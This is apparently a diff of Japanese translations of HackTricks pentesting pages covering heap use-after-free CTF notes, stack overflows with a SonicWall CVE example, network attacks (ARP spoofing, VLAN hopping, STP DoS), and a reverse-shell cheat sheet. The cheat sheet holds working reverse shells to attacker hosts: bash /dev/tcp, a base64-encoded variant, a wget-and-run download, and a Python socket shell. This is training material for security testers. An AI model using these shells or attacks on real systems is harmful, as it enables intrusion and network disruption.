- 次に、内容サイズ8の別のノート(note2)を作成します。内容はnote1にあり、チャンクが再利用されるため、関数ポインタをwin関数を指すように変更し、その後note1をUse-After-Freeして新しい関数ポインタを呼び出します。
|
||||
- 攻撃は、ノート情報サイズよりも大きなmalloc内容を持つ2つのノート(note0とnote1)を作成し、それらを解放してファーストビン(またはtcache)に入れることです。
|
||||
- 次に、内容サイズ8の別のノート(note2)を作成します。内容はnote1にあり、チャンクが再利用されるため、関数ポインタをwin関数を指すように変更し、その後、Use-After-Freeを使用してnote1を呼び出します。
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- メモリを割り当て、希望の値を書き込み、解放し、再割り当てすることが可能で、以前のデータがまだそこにあるため、新しい期待される構造に従って扱われ、値を設定してフラグを取得することが可能になります。
|
||||
- メモリを割り当て、希望の値を書き込み、それを解放し、再割り当てすることが可能です。前のデータがまだそこにあるため、新しい期待される構造に従って扱われ、値を設定してフラグを取得することが可能になります。
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- この場合、特定のチャンク内に4を書き込む必要があります。これは、すべてを強制的に解放した後でも最初に割り当てられたものです。新しく割り当てられた各チャンクの配列インデックス内の番号が保存されます。次に、4つのチャンク(最初に割り当てられたものを含む)を割り当て、最後のものには4が含まれ、解放して最初のものの再割り当てを強制します。これにより、最後に解放されたチャンクが使用され、その中に4が含まれます。
|
||||
- 2024 HITCON Quals Setjmpの書き込み(Quarkslab) – 実用的なファーストフィット/未ソートスプリット重なり攻撃: <https://ctftime.org/writeup/39355>
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## What is a Stack Overflow
|
||||
|
||||
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
|
||||
**スタックオーバーフロー**は、プログラムがスタックに割り当てられた以上のデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、正当なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
|
||||
|
||||
この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。
|
||||
|
||||
この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、したがってスタックの他の部分を上書きすることができます。
|
||||
この脆弱性は通常、関数が**スタックに割り当てられたバイト数以上のバイトをコピーする**ために発生し、他のスタックの部分を上書きできるようになります。
|
||||
|
||||
この脆弱性に対して一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のように**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
|
||||
この脆弱性に対して一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read`**、および**`memcpy`**のような**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
|
||||
|
||||
例えば、以下の関数は脆弱である可能性があります:
|
||||
例えば、以下の関数は脆弱である可能性があります:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## スタックオーバーフローの悪用
|
||||
|
||||
オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIP(またはそれ以上)**に達することができます。\
|
||||
オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIP(またはそれ以上)**に到達します。\
|
||||
この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがユーザーが指定したポインタの場所にリダイレクトされる**ことです。
|
||||
|
||||
しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります(簡単なCTFチャレンジのように)。
|
||||
しかし、他のシナリオでは、スタック内のいくつかの変数の値を**上書きする**だけで悪用が可能な場合もあります(簡単なCTFチャレンジのように)。
|
||||
|
||||
### Ret2win
|
||||
|
||||
この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、呼び出す**関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
||||
この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない**関数があり、**勝つためにはその関数を呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、呼び出す**関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... テクニック
|
||||
|
||||
このテクニックは、前述のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし(NX)**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニック(ret2lib、ret2syscallなど)を実行することが可能になります:
|
||||
このテクニックは、前のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし(NX)**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニック(ret2lib、ret2syscallなど)を実行することが可能になります:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -97,7 +97,7 @@ stack-shellcode/
|
||||
|
||||
### 実世界の例: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
**`sscanf`は信頼できない入力の解析に決して信頼されるべきではない**理由の良いデモが、2025年にSonicWallのSMA100 SSL-VPNアプライアンスで現れました。\
|
||||
**`sscanf`は信頼できない入力の解析に決して信頼されるべきではない**理由の良いデモが、2025年にSonicWallのSMA100 SSL-VPNアプライアンスで発生しました。\
|
||||
`/usr/src/EasyAccess/bin/httpd`内の脆弱なルーチンは、`/__api__/`で始まる任意のURIからバージョンとエンドポイントを抽出しようとします。
|
||||
```c
|
||||
char version[3];
|
||||
@ -106,8 +106,8 @@ char endpoint[0x800] = {0};
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. 最初の変換(`%2s`)は、`version`に**2**バイトを安全に格納します(例:`"v1"`)。
|
||||
2. 2番目の変換(`%s`)は**長さ指定子がありません**。したがって、`sscanf`は**最初のNULバイト**までコピーを続けます。
|
||||
3. `endpoint`は**スタック**上にあり、**0x800バイトの長さ**があるため、0x800バイトより長いパスを提供すると、バッファの後にあるすべてのものが破損します ‑ **スタックカナリア**や**保存された戻りアドレス**を含む。
|
||||
2. 2番目の変換(`%s`)は**長さ指定子がありません**。したがって、`sscanf`は**最初のNULバイト**までコピーし続けます。
|
||||
3. `endpoint`は**スタック**上にあり、**0x800バイトの長さ**があるため、0x800バイトより長いパスを提供すると、バッファの後にあるすべてのものが破損します ‑ **スタックカナリア**や**保存された戻りアドレス**を含みます。
|
||||
|
||||
認証**前に**クラッシュを引き起こすには、1行の概念実証で十分です:
|
||||
```python
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **で確認できます。**
|
||||
**これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **を確認してください。**
|
||||
|
||||
## Full TTY
|
||||
|
||||
@ -21,7 +21,7 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
||||
#after getting the previous shell to get the output to execute
|
||||
exec >&0
|
||||
```
|
||||
他のシェルも確認するのを忘れないでください: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, および bash。
|
||||
他のシェルも確認することを忘れないでください: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, および bash。
|
||||
|
||||
### シンボルセーフシェル
|
||||
```bash
|
||||
@ -34,8 +34,8 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
||||
```
|
||||
#### シェルの説明
|
||||
|
||||
1. **`bash -i`**: このコマンドの部分は、インタラクティブ(`-i`)Bashシェルを開始します。
|
||||
2. **`>&`**: このコマンドの部分は、**標準出力**(`stdout`)と**標準エラー**(`stderr`)を**同じ宛先**にリダイレクトするための省略記法です。
|
||||
1. **`bash -i`**: このコマンドの部分は、インタラクティブな(`-i`)Bashシェルを開始します。
|
||||
2. **`>&`**: このコマンドの部分は、**標準出力**(`stdout`)と**標準エラー**(`stderr`)を**同じ宛先にリダイレクトする**ための省略記法です。
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: これは、**指定されたIPアドレスとポートへのTCP接続を表す特別なファイル**です。
|
||||
- **出力とエラーストリームをこのファイルにリダイレクトすることによって**、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。
|
||||
4. **`0>&1`**: このコマンドの部分は、**標準入力(`stdin`)を標準出力(`stdout`)と同じ宛先にリダイレクトします**。
|
||||
@ -47,7 +47,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||
```
|
||||
## Forward Shell
|
||||
|
||||
Linuxベースのウェブアプリケーション内の**Remote Code Execution (RCE)** 脆弱性に対処する際、リバースシェルの取得はiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。このような制約のある環境では、妥協したシステムとより効果的に対話するためにPTY(擬似端末)シェルを確立する代替アプローチがあります。
|
||||
Linuxベースのウェブアプリケーション内の**Remote Code Execution (RCE)** 脆弱性に対処する際、リバースシェルの取得はiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。そのような制約のある環境では、妥協されたシステムとより効果的に対話するためにPTY(擬似端末)シェルを確立する代替アプローチがあります。
|
||||
|
||||
この目的に推奨されるツールは[toboggan](https://github.com/n3rada/toboggan.git)で、ターゲット環境との対話を簡素化します。
|
||||
|
||||
@ -124,7 +124,7 @@ while true; do nc -l <port>; done
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||
```
|
||||
## Python
|
||||
## パイソン
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
@ -239,7 +239,7 @@ curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_6
|
||||
特徴:
|
||||
- 暗号化されたトランスポートのためのオプションの `--ssl` フラグ (TLS 1.3)
|
||||
- 被害者上で任意のバイナリを生成するための `-s` (例: `/bin/sh`, `python3`)
|
||||
- 完全にインタラクティブな PTY に自動的にアップグレードするための `--up`
|
||||
- 完全にインタラクティブなPTYに自動的にアップグレードするための `--up`
|
||||
|
||||
## revsh (暗号化およびピボット準備完了)
|
||||
|
||||
@ -338,7 +338,7 @@ close(Service)
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
リバースシェルをキャッチするには、次のものを使用できます(ポート6001でリッスンします):
|
||||
リバースシェルをキャッチするには、次のように使用できます(ポート6001でリッスンします):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -13,7 +13,7 @@
|
||||
|
||||
これは、ホストが稼働しているかどうかを発見するための**最も簡単**で**最速**な方法です。\
|
||||
いくつかの**ICMP**パケットを送信し、**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信し、応答を期待することです。これを単純な`ping`を使用するか、**範囲**のために`fping`を使用して行うことができます。\
|
||||
また、**nmap**を使用して他のタイプのICMPパケットを送信することもできます(これにより、一般的なICMPエコーリクエスト-応答のフィルターを回避できます)。
|
||||
また、**nmap**を使用して他のタイプのICMPパケットを送信することもできます(これにより、一般的なICMPエコーリクエスト-応答に対するフィルターを回避できます)。
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
```
|
||||
### TCPポート発見
|
||||
|
||||
あらゆる種類のICMPパケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つけること**です。各ホストには**65535ポート**がありますので、「大きな」スコープがある場合、**各ホストの各ポート**がオープンかどうかをテストすることは**できません**。それにはあまりにも多くの時間がかかります。\
|
||||
あらゆる種類のICMPパケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つけること**だけです。各ホストには**65535ポート**がありますので、「大きな」スコープがある場合、各ホストの**各ポート**がオープンかどうかをテストすることは**できません**。それにはあまりにも多くの時間がかかります。\
|
||||
そのため、必要なのは**高速ポートスキャナー**([masscan](https://github.com/robertdavidgraham/masscan))と、**最も使用されるポートのリスト**です:
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDPポート発見
|
||||
|
||||
いくつかの**UDPポートが開いている**かどうかを確認して、**ホストにもっと注意を払うべきか**を判断することもできます。UDPサービスは通常、通常の空のUDPプローブパケットに**データ**で**応答しない**ため、ポートがフィルタリングされているのか開いているのかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、どのサービスが実行されているかわからないため、ポート番号に基づいて最も可能性の高いものを試すべきです:
|
||||
いくつかの**UDPポートが開いている**かどうかを確認して、**ホストにもっと注意を払う**べきかを判断することもできます。UDPサービスは通常、通常の空のUDPプローブパケットに**データ**で**応答しない**ため、ポートがフィルタリングされているのか開いているのかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、どのサービスが実行されているかわからないため、ポート番号に基づいて最も可能性の高いものを試すべきです:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
@ -109,7 +109,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
|
||||
Wake On Lanは、**ネットワークメッセージ**を通じてコンピュータを**起動する**ために使用されます。コンピュータを起動するために使用されるマジックパケットは、**MAC Dst**が提供され、その後同じパケット内で**16回繰り返される**だけのパケットです。\
|
||||
この種のパケットは通常、**イーサネット0x0842**または**ポート9へのUDPパケット**で送信されます。\
|
||||
**[MAC]**が提供されていない場合、パケットは**ブロードキャストイーサネット**に送信され(ブロードキャストMACが繰り返されることになります)。
|
||||
**\[MAC]**が提供されていない場合、パケットは**ブロードキャストイーサネット**に送信され(ブロードキャストMACが繰り返されるものになります)。
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
@ -143,7 +143,7 @@ UDPポートをスキャンするための2つのオプションがあります
|
||||
- **UDPパケット**を送信し、ポートが**閉じている**場合は_**ICMP到達不能**_の応答を確認します(いくつかのケースではICMPが**フィルタリング**されるため、ポートが閉じているか開いているかの情報は受け取れません)。
|
||||
- **サービス**からの応答を引き出すために**フォーマットされたデータグラム**を送信します(例:DNS、DHCP、TFTPなど、_nmap-payloads_にリストされています)。**応答**を受け取った場合、ポートは**開いています**。
|
||||
|
||||
**Nmap**は"-sV"を使用して両方のオプションを**組み合わせます**(UDPスキャンは非常に遅いですが)、UDPスキャンはTCPスキャンよりも遅いことに注意してください:
|
||||
**Nmap**は"-sV"を使用して両方のオプションを**混合**します(UDPスキャンは非常に遅いですが)、UDPスキャンはTCPスキャンよりも遅いことに注意してください:
|
||||
```bash
|
||||
# Check if any of the most common udp services is running
|
||||
udp-proto-scanner.pl <IP>
|
||||
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTPスキャン
|
||||
|
||||
**SCTP (ストリーム制御伝送プロトコル)** は、**TCP (伝送制御プロトコル)** と **UDP (ユーザーデータグラムプロトコル)** と一緒に使用されるように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を容易にすることであり、**SS7 (信号システム7)** に見られる多くの信頼性機能を反映しています。**SCTP** は、SS7信号をIPネットワーク上で輸送することを目的とした**SIGTRAN**プロトコルファミリーのコアコンポーネントです。
|
||||
**SCTP (ストリーム制御伝送プロトコル)** は、**TCP (伝送制御プロトコル)** と **UDP (ユーザーデータグラムプロトコル)** と共に使用されるように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を促進することであり、**SS7 (信号システム7)** に見られる多くの信頼性機能を反映しています。**SCTP** は、SS7信号をIPネットワーク上で輸送することを目的とした**SIGTRAN**プロトコルファミリーのコアコンポーネントです。
|
||||
|
||||
**SCTP** のサポートは、**IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS**、および **VxWorks** などのさまざまなオペレーティングシステムによって提供されており、通信およびネットワーキングの分野での広範な受け入れと有用性を示しています。
|
||||
|
||||
@ -182,7 +182,7 @@ nmap-summary-esp.md
|
||||
|
||||
### 内部IPアドレスの明示
|
||||
|
||||
**誤設定されたルーター、ファイアウォール、ネットワークデバイス**は、**非公開のソースアドレス**を使用してネットワークプローブに応答することがあります。**tcpdump**を利用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linux上で、**eth2インターフェース**でパケットをキャプチャできます。インターネットからアクセス可能です。NATやファイアウォールの背後にセットアップがある場合、そのようなパケットはフィルタリングされる可能性が高いことに注意が必要です。
|
||||
**誤設定されたルーター、ファイアウォール、ネットワークデバイス**は、**非公開のソースアドレス**を使用してネットワークプローブに応答することがあります。**tcpdump**を利用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linux上で、**eth2インターフェース**でパケットをキャプチャできます。あなたのセットアップがNATまたはファイアウォールの背後にある場合、そのようなパケットはフィルタリングされる可能性が高いことに注意することが重要です。
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -250,17 +250,17 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
この脆弱性は現代のスイッチで修正されています。
|
||||
現代のスイッチでは、この脆弱性は修正されています。
|
||||
|
||||
### 802.1Q VLAN / DTP 攻撃
|
||||
### 802.1Q VLAN / DTP攻撃
|
||||
|
||||
#### ダイナミック トランク
|
||||
#### ダイナミックトランク
|
||||
|
||||
**Dynamic Trunking Protocol (DTP)** は、トランクの自動システムを促進するために設計されたリンク層プロトコルであり、スイッチがトランクモード(Trunk)または非トランクモードのポートを自動的に選択できるようにします。**DTP** の展開は、しばしば最適でないネットワーク設計の指標と見なされ、必要な場合にのみトランクを手動で構成し、適切な文書化を確保することの重要性を強調します。
|
||||
**ダイナミックトランクプロトコル (DTP)** は、トランクの自動システムを促進するために設計されたリンク層プロトコルであり、スイッチがトランクモード(Trunk)または非トランクモードのポートを自動的に選択できるようにします。**DTP** の展開は、しばしば最適でないネットワーク設計の指標と見なされ、必要な場合にのみ手動でトランクを構成し、適切な文書化を確保することの重要性を強調します。
|
||||
|
||||
デフォルトでは、スイッチポートはダイナミックオートモードで動作するように設定されており、隣接するスイッチからの要求があればトランクを開始する準備が整っています。セキュリティ上の懸念は、ペンテスターまたは攻撃者がスイッチに接続し、DTP Desirableフレームを送信してポートをトランクモードに強制する場合に生じます。このアクションにより、攻撃者はSTPフレーム分析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。
|
||||
|
||||
多くのスイッチにデフォルトでDTPが存在することは、敵がスイッチの動作を模倣し、すべてのVLANのトラフィックにアクセスすることを可能にします。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視するために使用され、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスポートモードのいずれにあるかを明らかにします。アクセスポートモードのみがVLANホッピング攻撃に対して免疫を持つ構成です。このツールは、スイッチの脆弱性状態を評価します。
|
||||
多くのスイッチにデフォルトでDTPが存在することは、敵がスイッチの動作を模倣し、すべてのVLANのトラフィックにアクセスすることを可能にします。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視し、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスポートモードのいずれにあるかを明らかにします。アクセスポートモードのみがVLANホッピング攻撃に対して免疫を持つ構成です。このツールは、スイッチの脆弱性状態を評価します。
|
||||
|
||||
ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効にする」ことができ、すべてのVLANからのパケットを観察することが可能になります。
|
||||
```bash
|
||||
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
VLANを列挙するために、スクリプト[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**を使用してDTP Desirableフレームを生成することも可能です。**決してスクリプトを中断しないでください。3秒ごとにDTP Desirableを注入します。** **スイッチ上で動的に作成されたトランクチャネルは5分間のみ存在します。5分後、トランクは切断されます。**
|
||||
VLANを列挙するために、スクリプト[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**を使用してDTP Desirableフレームを生成することも可能です。**いかなる状況でもスクリプトを中断しないでください。3秒ごとにDTP Desirableを注入します。** **スイッチ上で動的に作成されたトランクチャネルは5分間のみ存在します。5分後、トランクは切断されます。**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
@ -287,7 +287,7 @@ STPフレームを分析することで、**VLAN 30とVLAN 60の存在につい
|
||||
|
||||
#### 特定のVLANへの攻撃
|
||||
|
||||
VLAN IDとIP値を知っている場合、**特定のVLANを攻撃するために仮想インターフェースを設定できます**。\
|
||||
VLAN IDとIP値を知ったら、**特定のVLANを攻撃するために仮想インターフェースを設定できます**。\
|
||||
DHCPが利用できない場合は、_ifconfig_を使用して静的IPアドレスを設定します。
|
||||
```
|
||||
root@kali:~# modprobe 8021q
|
||||
@ -321,15 +321,15 @@ sudo vconfig add eth0 30
|
||||
sudo ip link set eth0.30 up
|
||||
sudo dhclient -v eth0.30
|
||||
```
|
||||
#### 自動VLANホッパー
|
||||
#### Automatic VLAN Hopper
|
||||
|
||||
**ダイナミックトランキングと仮想インターフェースの作成、他のVLAN内のホストの発見**の攻撃は、ツールによって**自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
議論された攻撃である**Dynamic Trunkingと仮想インターフェースの作成、他のVLAN内のホストの発見**は、ツールによって**自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
|
||||
#### ダブルタグ付け
|
||||
#### Double Tagging
|
||||
|
||||
攻撃者が**被害者ホストのMAC、IP、VLAN IDの値**を知っている場合、彼は**フレームにダブルタグを付ける**ことを試み、その指定されたVLANと被害者のVLANを使用してパケットを送信することができます。**被害者は攻撃者と接続できないため、攻撃者にとって最良の選択肢はUDPを介して通信すること**です。これにより、いくつかの興味深いアクションを実行できるプロトコル(SNMPなど)にアクセスできます。
|
||||
攻撃者が**被害者ホストのMAC、IP、およびVLAN IDの値**を知っている場合、彼は**フレームをダブルタグ**し、指定されたVLANと被害者のVLANでパケットを送信しようとすることができます。**被害者は攻撃者と接続できないため、攻撃者にとって最良の選択肢はUDPを介して通信すること**です。これにより、いくつかの興味深いアクションを実行できるプロトコル(SNMPなど)と通信できます。
|
||||
|
||||
攻撃者の別のオプションは、**攻撃者が制御し、被害者がアクセス可能なIPを偽装してTCPポートスキャンを実行すること**です(おそらくインターネットを介して)。その後、攻撃者は自分が所有する2番目のホストで、被害者からのパケットを受信しているかどうかをスニッフィングすることができます。
|
||||
攻撃者の別のオプションは、**攻撃者が制御し、被害者がアクセス可能なIPを偽装してTCPポートスキャンを実行すること**です(おそらくインターネットを介して)。その後、攻撃者は、被害者からのパケットを受信した場合、彼が所有する2番目のホストでスニッフィングを行うことができます。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
ゲスト無線ネットワークなどの特定の環境では、**ポートアイソレーション(プライベートVLANとも呼ばれます)**設定が実装され、無線アクセスポイントに接続されたクライアント同士が直接通信するのを防ぎます。しかし、これらのアイソレーション対策を回避できる技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を利用し、IPパケットがルーターを通じて同じネットワーク内の別のクライアントにルーティングされることを可能にします。
|
||||
ゲスト無線ネットワークなどの特定の環境では、**ポートアイソレーション(プライベートVLANとも呼ばれる)**設定が実装され、無線アクセスポイントに接続されたクライアント同士が直接通信するのを防ぎます。しかし、これらのアイソレーション対策を回避できる技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を利用し、IPパケットがルーターを通じて同じネットワーク上の別のクライアントにルーティングされることを可能にします。
|
||||
|
||||
攻撃は、**宛先クライアントのIPアドレスを持ち、ルーターのMACアドレスを持つパケットを作成することによって実行されます**。これにより、ルーターは誤ってパケットをターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御する能力を利用してセキュリティの欠陥を悪用するダブルタグ攻撃で使用されるものに似ています。
|
||||
攻撃は、**宛先クライアントのIPアドレスを持ち、ルーターのMACアドレスを持つパケットを作成することによって実行されます**。これにより、ルーターはパケットをターゲットクライアントに誤って転送します。このアプローチは、被害者にアクセス可能なホストを制御する能力を利用してセキュリティの欠陥を悪用するダブルタグ攻撃で使用されるものに似ています。
|
||||
|
||||
**攻撃の主要なステップ:**
|
||||
|
||||
1. **パケットの作成:** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケットを作成しますが、ルーターのMACアドレスを使用します。
|
||||
2. **ルーターの動作を悪用:** 作成されたパケットはルーターに送信され、構成によりパケットがターゲットクライアントにリダイレクトされ、プライベートVLAN設定によるアイソレーションをバイパスします。
|
||||
2. **ルーターの動作を悪用:** 作成されたパケットがルーターに送信され、構成によりパケットがターゲットクライアントにリダイレクトされ、プライベートVLAN設定によるアイソレーションをバイパスします。
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
@ -371,7 +371,7 @@ VTP(VLANトランキングプロトコル)はVLAN管理を集中化します
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **サマリーアナウンス:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を含みます。
|
||||
- **サマリーアナウンス:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を運びます。
|
||||
- **サブセットアナウンス:** VLAN構成変更後に送信されます。
|
||||
- **アナウンスリクエスト:** VTPクライアントによってサマリーアナウンスを要求するために発行され、通常はより高い構成リビジョン番号を検出した際に行われます。
|
||||
|
||||
@ -389,7 +389,7 @@ Yersiniaのグラフィカルモードで、VLANデータベースを削除す
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
多くのBPDU TCP(トポロジ変更通知)やConf(トポロジが作成されるときに送信されるBPDU)を送信すると、スイッチが過負荷になり、正しく動作しなくなります。
|
||||
多くのBPDUs TCP(トポロジ変更通知)やConf(トポロジが作成されるときに送信されるBPDUs)を送信すると、スイッチが過負荷になり、正しく動作しなくなります。
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
@ -404,7 +404,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
#### **STPルート攻撃**
|
||||
|
||||
攻撃者はスイッチの動作を模倣してネットワークのSTPルートになります。これにより、より多くのデータが彼を通過します。これは、異なる2つのスイッチに接続されているときに興味深いです。\
|
||||
攻撃者はスイッチの動作を模倣してネットワークのSTPルートになります。これにより、より多くのデータが彼を通過します。これは、2つの異なるスイッチに接続されているときに興味深いです。\
|
||||
これは、実際のルートスイッチの実際の優先度よりも**優先度**値が低いと伝えるBPDUs CONFパケットを送信することによって行われます。
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
